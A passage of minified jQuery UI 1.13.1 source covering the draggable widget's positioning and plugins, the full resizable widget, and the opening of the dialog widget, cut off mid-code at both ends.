t,i,n,r=this.options,s=this.document[0];this.relativeContainer=null,r.containment?"window"!==r.containment?"document"!==r.containment?r.containment.constructor!==Array?("parent"===r.containment&&(r.containment=this.helper[0].parentNode),(n=(i=e(r.containment))[0])&&(t=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(t?Math.max(n.scrollWidth,n.offsetWidth):n.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(n.scrollHeight,n.offsetHeight):n.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i)):this.containment=r.containment:this.containment=[0,0,e(s).width()-this.helperProportions.width-this.margins.left,(e(s).height()||s.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||s.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]:this.containment=null},_convertPositionTo:function(e,t){t=t||this.position;var i="absolute"===e?1:-1;return e=this._isRootNode(this.scrollParent[0]),{top:t.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:e?0:this.offset.scroll.top)*i,left:t.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:e?0:this.offset.scroll.left)*i}},_generatePosition:function(e,t){var i,n=this.options,r=this._isRootNode(this.scrollParent[0]),s=e.pageX,a=e.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(i=this.relativeContainer?(i=this.relativeContainer.offset(),[this.containment[0]+i.left,this.containment[1]+i.top,this.containment[2]+i.left,this.containment[3]+i.top]):this.containment,e.pageX-this.offset.click.left<i[0]&&(s=i[0]+this.offset.click.left),e.pageY-this.offset.click.top<i[1]&&(a=i[1]+this.offset.click.top),e.pageX-this.offset.click.left>i[2]&&(s=i[2]+this.offset.click.left),e.pageY-this.offset.click.top>i[3]&&(a=i[3]+this.offset.click.top)),n.grid&&(e=n.grid[1]?this.originalPageY+Math.round((a-this.originalPageY)/n.grid[1])*n.grid[1]:this.originalPageY,a=!i||e-this.offset.click.top>=i[1]||e-this.offset.click.top>i[3]?e:e-this.offset.click.top>=i[1]?e-n.grid[1]:e+n.grid[1],e=n.grid[0]?this.originalPageX+Math.round((s-this.originalPageX)/n.grid[0])*n.grid[0]:this.originalPageX,s=!i||e-this.offset.click.left>=i[0]||e-this.offset.click.left>i[2]?e:e-this.offset.click.left>=i[0]?e-n.grid[0]:e+n.grid[0]),"y"===n.axis&&(s=this.originalPageX),"x"===n.axis&&(a=this.originalPageY)),{top:a-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:s-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(t,i,n){return n=n||this._uiHash(),e.ui.plugin.call(this,t,[i,n,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),n.offset=this.positionAbs),e.Widget.prototype._trigger.call(this,t,i,n)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,i,n){var r=e.extend({},i,{item:n.element});n.sortables=[],e(n.options.connectToSortable).each((function(){var i=e(this).sortable("instance");i&&!i.options.disabled&&(n.sortables.push(i),i.refreshPositions(),i._trigger("activate",t,r))}))},stop:function(t,i,n){var r=e.extend({},i,{item:n.element});n.cancelHelperRemoval=!1,e.each(n.sortables,(function(){var e=this;e.isOver?(e.isOver=0,n.cancelHelperRemoval=!0,e.cancelHelperRemoval=!1,e._storedCSS={position:e.placeholder.css("position"),top:e.placeholder.css("top"),left:e.placeholder.css("left")},e._mouseStop(t),e.options.helper=e.options._helper):(e.cancelHelperRemoval=!0,e._trigger("deactivate",t,r))}))},drag:function(t,i,n){e.each(n.sortables,(function(){var r=!1,s=this;s.positionAbs=n.positionAbs,s.helperProportions=n.helperProportions,s.offset.click=n.offset.click,s._intersectsWith(s.containerCache)&&(r=!0,e.each(n.sortables,(function(){return this.positionAbs=n.positionAbs,this.helperProportions=n.helperProportions,this.offset.click=n.offset.click,r=(this===s||!this._intersectsWith(this.containerCache)||!e.contains(s.element[0],this.element[0]))&&r}))),r?(s.isOver||(s.isOver=1,n._parent=i.helper.parent(),s.currentItem=i.helper.appendTo(s.element).data("ui-sortable-item",!0),s.options._helper=s.options.helper,s.options.helper=function(){return i.helper[0]},t.target=s.currentItem[0],s._mouseCapture(t,!0),s._mouseStart(t,!0,!0),s.offset.click.top=n.offset.click.top,s.offset.click.left=n.offset.click.left,s.offset.parent.left-=n.offset.parent.left-s.offset.parent.left,s.offset.parent.top-=n.offset.parent.top-s.offset.parent.top,n._trigger("toSortable",t),n.dropped=s.element,e.each(n.sortables,(function(){this.refreshPositions()})),n.currentItem=n.element,s.fromOutside=n),s.currentItem&&(s._mouseDrag(t),i.position=s.position)):s.isOver&&(s.isOver=0,s.cancelHelperRemoval=!0,s.options._revert=s.options.revert,s.options.revert=!1,s._trigger("out",t,s._uiHash(s)),s._mouseStop(t,!0),s.options.revert=s.options._revert,s.options.helper=s.options._helper,s.placeholder&&s.placeholder.remove(),i.helper.appendTo(n._parent),n._refreshOffsets(t),i.position=n._generatePosition(t,!0),n._trigger("fromSortable",t),n.dropped=!1,e.each(n.sortables,(function(){this.refreshPositions()})))}))}}),e.ui.plugin.add("draggable","cursor",{start:function(t,i,n){var r=e("body");n=n.options,r.css("cursor")&&(n._cursor=r.css("cursor")),r.css("cursor",n.cursor)},stop:function(t,i,n){(n=n.options)._cursor&&e("body").css("cursor",n._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,i,n){i=e(i.helper),n=n.options,i.css("opacity")&&(n._opacity=i.css("opacity")),i.css("opacity",n.opacity)},stop:function(t,i,n){(n=n.options)._opacity&&e(i.helper).css("opacity",n._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(e,t,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,i,n){var r=n.options,s=!1,a=n.scrollParentNotHidden[0],o=n.document[0];a!==o&&"HTML"!==a.tagName?(r.axis&&"x"===r.axis||(n.overflowOffset.top+a.offsetHeight-t.pageY<r.scrollSensitivity?a.scrollTop=s=a.scrollTop+r.scrollSpeed:t.pageY-n.overflowOffset.top<r.scrollSensitivity&&(a.scrollTop=s=a.scrollTop-r.scrollSpeed)),r.axis&&"y"===r.axis||(n.overflowOffset.left+a.offsetWidth-t.pageX<r.scrollSensitivity?a.scrollLeft=s=a.scrollLeft+r.scrollSpeed:t.pageX-n.overflowOffset.left<r.scrollSensitivity&&(a.scrollLeft=s=a.scrollLeft-r.scrollSpeed))):(r.axis&&"x"===r.axis||(t.pageY-e(o).scrollTop()<r.scrollSensitivity?s=e(o).scrollTop(e(o).scrollTop()-r.scrollSpeed):e(window).height()-(t.pageY-e(o).scrollTop())<r.scrollSensitivity&&(s=e(o).scrollTop(e(o).scrollTop()+r.scrollSpeed))),r.axis&&"y"===r.axis||(t.pageX-e(o).scrollLeft()<r.scrollSensitivity?s=e(o).scrollLeft(e(o).scrollLeft()-r.scrollSpeed):e(window).width()-(t.pageX-e(o).scrollLeft())<r.scrollSensitivity&&(s=e(o).scrollLeft(e(o).scrollLeft()+r.scrollSpeed)))),!1!==s&&e.ui.ddmanager&&!r.dropBehaviour&&e.ui.ddmanager.prepareOffsets(n,t)}}),e.ui.plugin.add("draggable","snap",{start:function(t,i,n){var r=n.options;n.snapElements=[],e(r.snap.constructor!==String?r.snap.items||":data(ui-draggable)":r.snap).each((function(){var t=e(this),i=t.offset();this!==n.element[0]&&n.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:i.top,left:i.left})}))},drag:function(t,i,n){for(var r,s,a,o,l,u,c,d,h,p=n.options,f=p.snapTolerance,m=i.offset.left,g=m+n.helperProportions.width,_=i.offset.top,v=_+n.helperProportions.height,y=n.snapElements.length-1;0<=y;y--)u=(l=n.snapElements[y].left-n.margins.left)+n.snapElements[y].width,d=(c=n.snapElements[y].top-n.margins.top)+n.snapElements[y].height,g<l-f||u+f<m||v<c-f||d+f<_||!e.contains(n.snapElements[y].item.ownerDocument,n.snapElements[y].item)?(n.snapElements[y].snapping&&n.options.snap.release&&n.options.snap.release.call(n.element,t,e.extend(n._uiHash(),{snapItem:n.snapElements[y].item})),n.snapElements[y].snapping=!1):("inner"!==p.snapMode&&(r=Math.abs(c-v)<=f,s=Math.abs(d-_)<=f,a=Math.abs(l-g)<=f,o=Math.abs(u-m)<=f,r&&(i.position.top=n._convertPositionTo("relative",{top:c-n.helperProportions.height,left:0}).top),s&&(i.position.top=n._convertPositionTo("relative",{top:d,left:0}).top),a&&(i.position.left=n._convertPositionTo("relative",{top:0,left:l-n.helperProportions.width}).left),o&&(i.position.left=n._convertPositionTo("relative",{top:0,left:u}).left)),h=r||s||a||o,"outer"!==p.snapMode&&(r=Math.abs(c-_)<=f,s=Math.abs(d-v)<=f,a=Math.abs(l-m)<=f,o=Math.abs(u-g)<=f,r&&(i.position.top=n._convertPositionTo("relative",{top:c,left:0}).top),s&&(i.position.top=n._convertPositionTo("relative",{top:d-n.helperProportions.height,left:0}).top),a&&(i.position.left=n._convertPositionTo("relative",{top:0,left:l}).left),o&&(i.position.left=n._convertPositionTo("relative",{top:0,left:u-n.helperProportions.width}).left)),!n.snapElements[y].snapping&&(r||s||a||o||h)&&n.options.snap.snap&&n.options.snap.snap.call(n.element,t,e.extend(n._uiHash(),{snapItem:n.snapElements[y].item})),n.snapElements[y].snapping=r||s||a||o||h)}}),e.ui.plugin.add("draggable","stack",{start:function(t,i,n){var r;n=n.options,n=e.makeArray(e(n.stack)).sort((function(t,i){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(i).css("zIndex"),10)||0)})),n.length&&(r=parseInt(e(n[0]).css("zIndex"),10)||0,e(n).each((function(t){e(this).css("zIndex",r+t)})),this.css("zIndex",r+n.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,i,n){i=e(i.helper),n=n.options,i.css("zIndex")&&(n._zIndex=i.css("zIndex")),i.css("zIndex",n.zIndex)},stop:function(t,i,n){(n=n.options)._zIndex&&e(i.helper).css("zIndex",n._zIndex)}}),e.ui.draggable,e.widget("ui.resizable",e.ui.mouse,{version:"1.13.1",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,classes:{"ui-resizable-se":"ui-icon ui-icon-gripsmall-diagonal-se"},containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(e){return parseFloat(e)||0},_isNumber:function(e){return!isNaN(parseFloat(e))},_hasScroll:function(t,i){if("hidden"===e(t).css("overflow"))return!1;var n=i&&"left"===i?"scrollLeft":"scrollTop";if(i=!1,0<t[n])return!0;try{t[n]=1,i=0<t[n],t[n]=0}catch(t){}return i},_create:function(){var t,i=this.options,n=this;this._addClass("ui-resizable"),e.extend(this,{_aspectRatio:!!i.aspectRatio,aspectRatio:i.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:i.helper||i.ghost||i.animate?i.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/^(canvas|textarea|input|select|button|img)$/i)&&(this.element.wrap(e("<div class='ui-wrapper'></div>").css({overflow:"hidden",position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,t={marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom"),marginLeft:this.originalElement.css("marginLeft")},this.element.css(t),this.originalElement.css("margin",0),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css(t),this._proportionallyResize()),this._setupHandles(),i.autoHide&&e(this.element).on("mouseenter",(function(){i.disabled||(n._removeClass("ui-resizable-autohide"),n._handles.show())})).on("mouseleave",(function(){i.disabled||n.resizing||(n._addClass("ui-resizable-autohide"),n._handles.hide())})),this._mouseInit()},_destroy:function(){function t(t){e(t).removeData("resizable").removeData("ui-resizable").off(".resizable")}var i;return this._mouseDestroy(),this._addedHandles.remove(),this.elementIsWrapper&&(t(this.element),i=this.element,this.originalElement.css({position:i.css("position"),width:i.outerWidth(),height:i.outerHeight(),top:i.css("top"),left:i.css("left")}).insertAfter(i),i.remove()),this.originalElement.css("resize",this.originalResizeStyle),t(this.originalElement),this},_setOption:function(e,t){switch(this._super(e,t),e){case"handles":this._removeHandles(),this._setupHandles();break;case"aspectRatio":this._aspectRatio=!!t}},_setupHandles:function(){var t,i,n,r,s,a=this.options,o=this;if(this.handles=a.handles||(e(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this._handles=e(),this._addedHandles=e(),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),n=this.handles.split(","),this.handles={},i=0;i<n.length;i++)r="ui-resizable-"+(t=String.prototype.trim.call(n[i])),s=e("<div>"),this._addClass(s,"ui-resizable-handle "+r),s.css({zIndex:a.zIndex}),this.handles[t]=".ui-resizable-"+t,this.element.children(this.handles[t]).length||(this.element.append(s),this._addedHandles=this._addedHandles.add(s));this._renderAxis=function(t){var i,n,r;for(i in t=t||this.element,this.handles)this.handles[i].constructor===String?this.handles[i]=this.element.children(this.handles[i]).first().show():(this.handles[i].jquery||this.handles[i].nodeType)&&(this.handles[i]=e(this.handles[i]),this._on(this.handles[i],{mousedown:o._mouseDown})),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/^(textarea|input|select|button)$/i)&&(n=e(this.handles[i],this.element),r=/sw|ne|nw|se|n|s/.test(i)?n.outerHeight():n.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(n,r),this._proportionallyResize()),this._handles=this._handles.add(this.handles[i])},this._renderAxis(this.element),this._handles=this._handles.add(this.element.find(".ui-resizable-handle")),this._handles.disableSelection(),this._handles.on("mouseover",(function(){o.resizing||(this.className&&(s=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=s&&s[1]?s[1]:"se")})),a.autoHide&&(this._handles.hide(),this._addClass("ui-resizable-autohide"))},_removeHandles:function(){this._addedHandles.remove()},_mouseCapture:function(t){var i,n,r=!1;for(i in this.handles)(n=e(this.handles[i])[0])!==t.target&&!e.contains(n,t.target)||(r=!0);return!this.options.disabled&&r},_mouseStart:function(t){var i,n,r=this.options,s=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),n=this._num(this.helper.css("top")),r.containment&&(i+=e(r.containment).scrollLeft()||0,n+=e(r.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:n},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:s.width(),height:s.height()},this.originalSize=this._helper?{width:s.outerWidth(),height:s.outerHeight()}:{width:s.width(),height:s.height()},this.sizeDiff={width:s.outerWidth()-s.width(),height:s.outerHeight()-s.height()},this.originalPosition={left:i,top:n},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof r.aspectRatio?r.aspectRatio:this.originalSize.width/this.originalSize.height||1,r=e(".ui-resizable-"+this.axis).css("cursor"),e("body").css("cursor","auto"===r?this.axis+"-resize":r),this._addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var i=this.originalMousePosition,n=this.axis,r=t.pageX-i.left||0;return i=t.pageY-i.top||0,n=this._change[n],this._updatePrevProperties(),n&&(i=n.apply(this,[t,r,i]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(i=this._updateRatio(i,t)),i=this._respectSize(i,t),this._updateCache(i),this._propagate("resize",t),i=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),e.isEmptyObject(i)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges())),!1},_mouseStop:function(t){this.resizing=!1;var i,n,r,s=this.options,a=this;return this._helper&&(r=(i=(n=this._proportionallyResizeElements).length&&/textarea/i.test(n[0].nodeName))&&this._hasScroll(n[0],"left")?0:a.sizeDiff.height,n=i?0:a.sizeDiff.width,i={width:a.helper.width()-n,height:a.helper.height()-r},n=parseFloat(a.element.css("left"))+(a.position.left-a.originalPosition.left)||null,r=parseFloat(a.element.css("top"))+(a.position.top-a.originalPosition.top)||null,s.animate||this.element.css(e.extend(i,{top:r,left:n})),a.helper.height(a.size.height),a.helper.width(a.size.width),this._helper&&!s.animate&&this._proportionallyResize()),e("body").css("cursor","auto"),this._removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var e={};return this.position.top!==this.prevPosition.top&&(e.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(e.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(e.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(e.height=this.size.height+"px"),this.helper.css(e),e},_updateVirtualBoundaries:function(e){var t,i,n=this.options,r={minWidth:this._isNumber(n.minWidth)?n.minWidth:0,maxWidth:this._isNumber(n.maxWidth)?n.maxWidth:1/0,minHeight:this._isNumber(n.minHeight)?n.minHeight:0,maxHeight:this._isNumber(n.maxHeight)?n.maxHeight:1/0};(this._aspectRatio||e)&&(t=r.minHeight*this.aspectRatio,i=r.minWidth/this.aspectRatio,n=r.maxHeight*this.aspectRatio,e=r.maxWidth/this.aspectRatio,t>r.minWidth&&(r.minWidth=t),i>r.minHeight&&(r.minHeight=i),n<r.maxWidth&&(r.maxWidth=n),e<r.maxHeight&&(r.maxHeight=e)),this._vBoundaries=r},_updateCache:function(e){this.offset=this.helper.offset(),this._isNumber(e.left)&&(this.position.left=e.left),this._isNumber(e.top)&&(this.position.top=e.top),this._isNumber(e.height)&&(this.size.height=e.height),this._isNumber(e.width)&&(this.size.width=e.width)},_updateRatio:function(e){var t=this.position,i=this.size,n=this.axis;return this._isNumber(e.height)?e.width=e.height*this.aspectRatio:this._isNumber(e.width)&&(e.height=e.width/this.aspectRatio),"sw"===n&&(e.left=t.left+(i.width-e.width),e.top=null),"nw"===n&&(e.top=t.top+(i.height-e.height),e.left=t.left+(i.width-e.width)),e},_respectSize:function(e){var t=this._vBoundaries,i=this.axis,n=this._isNumber(e.width)&&t.maxWidth&&t.maxWidth<e.width,r=this._isNumber(e.height)&&t.maxHeight&&t.maxHeight<e.height,s=this._isNumber(e.width)&&t.minWidth&&t.minWidth>e.width,a=this._isNumber(e.height)&&t.minHeight&&t.minHeight>e.height,o=this.originalPosition.left+this.originalSize.width,l=this.originalPosition.top+this.originalSize.height,u=/sw|nw|w/.test(i);return i=/nw|ne|n/.test(i),s&&(e.width=t.minWidth),a&&(e.height=t.minHeight),n&&(e.width=t.maxWidth),r&&(e.height=t.maxHeight),s&&u&&(e.left=o-t.minWidth),n&&u&&(e.left=o-t.maxWidth),a&&i&&(e.top=l-t.minHeight),r&&i&&(e.top=l-t.maxHeight),e.width||e.height||e.left||!e.top?e.width||e.height||e.top||!e.left||(e.left=null):e.top=null,e},_getPaddingPlusBorderDimensions:function(e){for(var t=0,i=[],n=[e.css("borderTopWidth"),e.css("borderRightWidth"),e.css("borderBottomWidth"),e.css("borderLeftWidth")],r=[e.css("paddingTop"),e.css("paddingRight"),e.css("paddingBottom"),e.css("paddingLeft")];t<4;t++)i[t]=parseFloat(n[t])||0,i[t]+=parseFloat(r[t])||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var e,t=0,i=this.helper||this.element;t<this._proportionallyResizeElements.length;t++)e=this._proportionallyResizeElements[t],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(e)),e.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||e("<div></div>").css({overflow:"hidden"}),this._addClass(this.helper,this._helper),this.helper.css({width:this.element.outerWidth(),height:this.element.outerHeight(),position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(e,t){return{width:this.originalSize.width+t}},w:function(e,t){var i=this.originalSize;return{left:this.originalPosition.left+t,width:i.width-t}},n:function(e,t,i){var n=this.originalSize;return{top:this.originalPosition.top+i,height:n.height-i}},s:function(e,t,i){return{height:this.originalSize.height+i}},se:function(t,i,n){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,n]))},sw:function(t,i,n){return e.extend(this._change.s.apply(this,arguments),this._change.w.apply(this,[t,i,n]))},ne:function(t,i,n){return e.extend(this._change.n.apply(this,arguments),this._change.e.apply(this,[t,i,n]))},nw:function(t,i,n){return e.extend(this._change.n.apply(this,arguments),this._change.w.apply(this,[t,i,n]))}},_propagate:function(t,i){e.ui.plugin.call(this,t,[i,this.ui()]),"resize"!==t&&this._trigger(t,i,this.ui())},plugins:{},ui:function(){return{originalElement:this.originalElement,element:this.element,helper:this.helper,position:this.position,size:this.size,originalSize:this.originalSize,originalPosition:this.originalPosition}}}),e.ui.plugin.add("resizable","animate",{stop:function(t){var i=e(this).resizable("instance"),n=i.options,r=i._proportionallyResizeElements,s=(o=r.length&&/textarea/i.test(r[0].nodeName))&&i._hasScroll(r[0],"left")?0:i.sizeDiff.height,a=o?0:i.sizeDiff.width,o={width:i.size.width-a,height:i.size.height-s};a=parseFloat(i.element.css("left"))+(i.position.left-i.originalPosition.left)||null,s=parseFloat(i.element.css("top"))+(i.position.top-i.originalPosition.top)||null,i.element.animate(e.extend(o,s&&a?{top:s,left:a}:{}),{duration:n.animateDuration,easing:n.animateEasing,step:function(){var n={width:parseFloat(i.element.css("width")),height:parseFloat(i.element.css("height")),top:parseFloat(i.element.css("top")),left:parseFloat(i.element.css("left"))};r&&r.length&&e(r[0]).css({width:n.width,height:n.height}),i._updateCache(n),i._propagate("resize",t)}})}}),e.ui.plugin.add("resizable","containment",{start:function(){var t,i,n=e(this).resizable("instance"),r=n.options,s=n.element,a=r.containment,o=a instanceof e?a.get(0):/parent/.test(a)?s.parent().get(0):a;o&&(n.containerElement=e(o),/document/.test(a)||a===document?(n.containerOffset={left:0,top:0},n.containerPosition={left:0,top:0},n.parentData={element:e(document),left:0,top:0,width:e(document).width(),height:e(document).height()||document.body.parentNode.scrollHeight}):(t=e(o),i=[],e(["Top","Right","Left","Bottom"]).each((function(e,r){i[e]=n._num(t.css("padding"+r))})),n.containerOffset=t.offset(),n.containerPosition=t.position(),n.containerSize={height:t.innerHeight()-i[3],width:t.innerWidth()-i[1]},r=n.containerOffset,s=n.containerSize.height,a=n.containerSize.width,a=n._hasScroll(o,"left")?o.scrollWidth:a,s=n._hasScroll(o)?o.scrollHeight:s,n.parentData={element:o,left:r.left,top:r.top,width:a,height:s}))},resize:function(t){var i=e(this).resizable("instance"),n=i.options,r=i.containerOffset,s=i.position,a=i._aspectRatio||t.shiftKey,o={top:0,left:0},l=i.containerElement;t=!0,l[0]!==document&&/static/.test(l.css("position"))&&(o=r),s.left<(i._helper?r.left:0)&&(i.size.width=i.size.width+(i._helper?i.position.left-r.left:i.position.left-o.left),a&&(i.size.height=i.size.width/i.aspectRatio,t=!1),i.position.left=n.helper?r.left:0),s.top<(i._helper?r.top:0)&&(i.size.height=i.size.height+(i._helper?i.position.top-r.top:i.position.top),a&&(i.size.width=i.size.height*i.aspectRatio,t=!1),i.position.top=i._helper?r.top:0),n=i.containerElement.get(0)===i.element.parent().get(0),s=/relative|absolute/.test(i.containerElement.css("position")),n&&s?(i.offset.left=i.parentData.left+i.position.left,i.offset.top=i.parentData.top+i.position.top):(i.offset.left=i.element.offset().left,i.offset.top=i.element.offset().top),s=Math.abs(i.sizeDiff.width+(i._helper?i.offset.left-o.left:i.offset.left-r.left)),r=Math.abs(i.sizeDiff.height+(i._helper?i.offset.top-o.top:i.offset.top-r.top)),s+i.size.width>=i.parentData.width&&(i.size.width=i.parentData.width-s,a&&(i.size.height=i.size.width/i.aspectRatio,t=!1)),r+i.size.height>=i.parentData.height&&(i.size.height=i.parentData.height-r,a&&(i.size.width=i.size.height*i.aspectRatio,t=!1)),t||(i.position.left=i.prevPosition.left,i.position.top=i.prevPosition.top,i.size.width=i.prevSize.width,i.size.height=i.prevSize.height)},stop:function(){var t=e(this).resizable("instance"),i=t.options,n=t.containerOffset,r=t.containerPosition,s=t.containerElement,a=(l=e(t.helper)).offset(),o=l.outerWidth()-t.sizeDiff.width,l=l.outerHeight()-t.sizeDiff.height;t._helper&&!i.animate&&/relative/.test(s.css("position"))&&e(this).css({left:a.left-r.left-n.left,width:o,height:l}),t._helper&&!i.animate&&/static/.test(s.css("position"))&&e(this).css({left:a.left-r.left-n.left,width:o,height:l})}}),e.ui.plugin.add("resizable","alsoResize",{start:function(){var t=e(this).resizable("instance").options;e(t.alsoResize).each((function(){var t=e(this);t.data("ui-resizable-alsoresize",{width:parseFloat(t.width()),height:parseFloat(t.height()),left:parseFloat(t.css("left")),top:parseFloat(t.css("top"))})}))},resize:function(t,i){var n=e(this).resizable("instance"),r=n.options,s=n.originalSize,a=n.originalPosition,o={height:n.size.height-s.height||0,width:n.size.width-s.width||0,top:n.position.top-a.top||0,left:n.position.left-a.left||0};e(r.alsoResize).each((function(){var t=e(this),n=e(this).data("ui-resizable-alsoresize"),r={},s=t.parents(i.originalElement[0]).length?["width","height"]:["width","height","top","left"];e.each(s,(function(e,t){var i=(n[t]||0)+(o[t]||0);i&&0<=i&&(r[t]=i||null)})),t.css(r)}))},stop:function(){e(this).removeData("ui-resizable-alsoresize")}}),e.ui.plugin.add("resizable","ghost",{start:function(){var t=e(this).resizable("instance"),i=t.size;t.ghost=t.originalElement.clone(),t.ghost.css({opacity:.25,display:"block",position:"relative",height:i.height,width:i.width,margin:0,left:0,top:0}),t._addClass(t.ghost,"ui-resizable-ghost"),!1!==e.uiBackCompat&&"string"==typeof t.options.ghost&&t.ghost.addClass(this.options.ghost),t.ghost.appendTo(t.helper)},resize:function(){var t=e(this).resizable("instance");t.ghost&&t.ghost.css({position:"relative",height:t.size.height,width:t.size.width})},stop:function(){var t=e(this).resizable("instance");t.ghost&&t.helper&&t.helper.get(0).removeChild(t.ghost.get(0))}}),e.ui.plugin.add("resizable","grid",{resize:function(){var t,i=e(this).resizable("instance"),n=i.options,r=i.size,s=i.originalSize,a=i.originalPosition,o=i.axis,l="number"==typeof n.grid?[n.grid,n.grid]:n.grid,u=l[0]||1,c=l[1]||1,d=Math.round((r.width-s.width)/u)*u,h=Math.round((r.height-s.height)/c)*c,p=s.width+d,f=s.height+h,m=n.maxWidth&&n.maxWidth<p,g=n.maxHeight&&n.maxHeight<f,_=n.minWidth&&n.minWidth>p;r=n.minHeight&&n.minHeight>f,n.grid=l,_&&(p+=u),r&&(f+=c),m&&(p-=u),g&&(f-=c),/^(se|s|e)$/.test(o)?(i.size.width=p,i.size.height=f):/^(ne)$/.test(o)?(i.size.width=p,i.size.height=f,i.position.top=a.top-h):/^(sw)$/.test(o)?(i.size.width=p,i.size.height=f,i.position.left=a.left-d):((f-c<=0||p-u<=0)&&(t=i._getPaddingPlusBorderDimensions(this)),0<f-c?(i.size.height=f,i.position.top=a.top-h):(f=c-t.height,i.size.height=f,i.position.top=a.top+s.height-f),0<p-u?(i.size.width=p,i.position.left=a.left-d):(p=u-t.width,i.size.width=p,i.position.left=a.left+s.width-p))}}),e.ui.resizable,e.widget("ui.dialog",{version:"1.13.1",options:{appendTo:"body",autoOpen:!0,buttons:[],classes:{"ui-dialog":"ui-corner-all","ui-dialog-titlebar":"ui-corner-all"},closeOnEscape:!0,closeText:"Close",draggable:!0,hide: